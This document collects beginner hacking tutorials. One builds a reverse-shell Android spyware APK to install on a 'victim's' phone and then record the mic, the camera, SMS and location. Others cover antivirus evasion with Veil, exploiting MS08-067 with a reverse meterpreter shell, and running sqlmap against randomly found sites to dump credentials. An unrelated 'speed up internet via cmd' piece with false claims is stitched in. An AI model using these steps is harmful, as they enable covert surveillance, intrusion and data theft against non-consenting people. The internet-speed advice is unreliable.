Hack Any Android Phone using Kali Linux

Msfvenom is a kali linux hacking tool for android ,is a combination of Msfpayload and Msfencode, putting both of these tools into a single Framework instance known as msfvenom payload.

Hacking With METASPLOIT in Kali Linux is a old tool. Metasploit is enhanced by msfvenom in kali linux. Metasploit is now a outdated tool.

So, let's get started!!

STEPS :

1. Fire Up kali and open command terminal.

2. Set payload and create custom windows executable.
Command:

root@kali:-# msfvenom -p android/meterpreter/reverse_tcp  LHOST=192.168.0.110 LPORT=4444 R > andro.apk

(To know your LHOST, open new terminal and type ifconfig )

Your apk file is being saved in the Home folder.

Note: Don't add any stray space characters anywhere. Use the command as is (after changing the LHOST and LPORT as needed).

3. Transfer/mail this file (here andro.apk) file to the victim's phone and install it.

4. Start the metasploit framework console as follows :
          
Command:

root@kali:-# msfconsole

5. Now it's time to open and setup multi-handler. Follows the steps :

msf  > use multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.110
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit

        Payload Handler is being started........

6. When the victims clicks on the app(installed as MAIN ACTIVITY in the menu) in his phone, meterpreter session will be established.

7. Try the following exploit commands :
    - record_mic
    - webcam_snap
    - webcam_stream
    - dump_contacts
    - dump_sms
    - geolocate
************************************************************************

Error fixing(incase you get PARSE ERROR)

Parse error

   To fix this error download signapk - Click here to download

Steps to follow

1. Open Signapk folder then open cmd.
2. Copy the andro.apk(the app you made) in Signapk folder.
3. Type java -" jar signapk.jar certificate.pem key.pk8 andro.apk andro-signed.apk "in cmd(not double quotes).
4. copy it in your phone and install it.

Hope this works... :)

Antivirus Evasion : Bypassing AV with Veil

In real life pentesting scenarios, the antivirus is an added layer of security, which we have conveniently ignored so far. However, in this tutorial we will see how we can encrypt the payload and make it harder for the AV(antivirus) to detect it.

Prerequisites

You should know how the basics of generating payloads using metasploit, i.e. have a basic idea about pentesting. I have covered these already, and won't do so again.
If you haven't got the prerequisites covered, I'd suggesting you start by hacking into an unpatched Windows XP machine.

Install Veil-evasion

This is one the rare moments when you actually have to install a hacking tool in Kali Linux. That said, the process is incredibly simple, and a simple apt-get will work.

sudo apt-get update

sudo apt-get install veil-evasion

 Type veil-evasion in the terminal and you'll be asked if you want to continue with the installation.

Type y. Wait for the installation to finish. It could take a while. The installation would ask you to install Python & Ruby (don't change installation directories even if it says that Python is already installed), which is just a matter of clicking next and finish.

Veil Evasion

Type veil-evasion on the terminal to start it.

1) Type list to see available payloads.

list

2) Use any payload you want to. I'm using python/shellcode_inject/flat. Type

use python/shellcode_inject/flat

3) You can use set option to change any values you want to change. We don't need that right now. Type info to see the settings you can change.

info

4) Type generate

generate

5) Choose option 1

6) Press enter, or if you want to use some other exploit, then type it's name.
7) Enter LHOST and LPORT, enter any extra  msfoptions you want to enter (not required here). Enter any name you want.

8) Choose 1 or 2 for Payload creation method.

Your payload will get generated in a bit. Don't upload it to online scanners, since they distribute it to different AV companies and the detection rate increases. I will update the post with screenshots soon.

How to hack a computer on network using kali linux

Hey guys!

So you want to hack a computer and you've got Kali linux installed?

Then you are on the right place!

I am going to show you how to hack a computer.

Step 1: Start Kali Linux

    Start Kali Linux and start a new terminal.

Step 2: Start the Metasploit console

    Start the Metasploit console by typing: msfconsole

    This will take a few moments...

Step 3: The commands:

So Metasploit started.

Here are the commands you need to type in:

use windows/smb/ms08_067_netapi

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST *Your ip adress* (If you don't know your ip adress then open a new terminal and type ifconfig. your ip adress will be somewhere in the output :D)

set LPORT 4444

set RHOST *victim's ip*

set RPORT 445

exploit

(You should connect)

Type help for a list of commands.

That's it!

You just hacked a computer!

Congrats!

I will probably make more tutorials about hacking and other ways to hack a computer.

So if this didn't work for you, stay tuned!

I think it only works for older versions of windows :(

Also please take a look at my Widows 7 hack tutorial!

>>>

How to speed internet speed using CMD

Open command prompt with administrator privileges. If you use Windows 8 read how to open cmd as admin. Other wise follow below steps.

1. Speed up Internet with cmd

• Click window (button) +R  or  type run on search box. You will see “Run” dialog.
• Type cmd and click enter.
• Right click on cmd.
• Select run as administration. You will see Command prompt window with admin privileges.
• Now type following commands in cmd window.
• Netsh int tcp show global and press enter.
• Netsh int tcp set chimney=enabled and press enter.
• Netsh int tcp set global autotuninglevel=normal and press enter.
• Netsh int set global congestionprovider=ctcp and press enter.

2. speed up internet by resetting dns cache

Open Command prompt with admin privileges by following method given in first step.

In command prompt window type ipconfig /flushdns and press enter.

3. speed up internet by resetting Winsock and tcp ip

Open Command prompt with admin privileges by following method given in first step.

In command prompt window type netsh int ip reset c:\resetlog.txt and press enter.For more details about reset winsock or tcp/ip see Microsoft forum article.

4. speed up internet by the continuous reply of pinging your connection

Open Command Prompt with administrator privileges by following method given in first step.

In command prompt window type ipconfig and press enter.Now you can find default gateway number as seen below screenshot.

• In command prompt window type ping –t (type your gateway numbers)
• For example: ping –t 192.168.42.129. (Here 192.168.42.129 is my gateway number. Type your gateway number instead of my gateway number.
• Now minimize this command prompt window, but don’t exit or close command prompt window.

Regularly apply this 4th method of speed up internet by continuous reply of ping connection, while browsing or downloading. This will make your connection faster by the continuous reply of pinging your default gateway connection.

Thanks for reading my article about speed up internet connection using cmd in windows xp/7/8/8.1. If you like this article do me favor by sharing it with your friends.

How to do sql injection using Kali Linux

In this tutorial, we will discuss how to hack site using sql injection in kali linux.

1. Run Kali Linux.

2. Start Iceweasel browser and search the query "php?id=".

3. Then click on any link any check the vulnerablity of the site by adding ' quote in the url.

4. If site shows error then it means it is vulnerable.

5. Then copy the link of the site without ' quote.

6. Now open terminal and type sqlmap -u (urlofthesite) --dbs.

7. Wait for few seconds while the scanning is complete.

8. After the completion, type sqlmap -u (urlofthesite) -D (databasename) --tables.

9. After that type sqlmap -u (urlofthesite) -D (databasename) -T (nameofthetable) --columns.

10. After that type sqlmap -u (urlofthesite) -D (databasename) -T (nameofthetable) -C column1,column2 --dump

Then you get the data you want like username, email, password, etc.